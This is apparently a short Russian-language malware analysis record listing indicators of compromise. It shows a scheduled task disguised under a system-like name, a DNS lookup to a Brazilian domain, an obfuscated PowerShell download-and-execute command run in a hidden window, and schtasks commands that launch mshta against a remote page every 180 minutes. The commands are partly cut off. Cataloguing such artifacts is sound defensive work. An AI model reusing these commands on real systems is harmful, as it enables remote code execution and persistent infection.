Техническая информация
- <SYSTEM32>\tasks\bfeonservicestarttypechange{9e67695a-30c6-420c-9acf-8734abfb9710}
- DNS ASK co######esuplementos.com.br
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command <#-------------#>$Ojbd='<#-------------#>IEX(N`e`w-Object Net.W';<#-------------#>$t2='ebClient).Downlo';<#-------------#>$t3='t4(''https://corpolevesuplementos.com.br/2022pws/assyncpw... (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c start /min schtasks /create /sc MINUTE /mo 180 /tn "BfeOnServiceStartTypeChange{9E67695A-30C6-420C-9ACF-8734ABFB9710}" /tr "\"mshta\"https://corpolevesuplementos.com.br/2022pws/assdirect.htm... (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /create /sc MINUTE /mo 180 /tn "BfeOnServiceStartTypeChange{9E67695A-30C6-420C-9ACF-8734ABFB9710}" /tr "\"mshta\"https://corpolevesuplementos.com.br/2022pws/assdirect.html" /F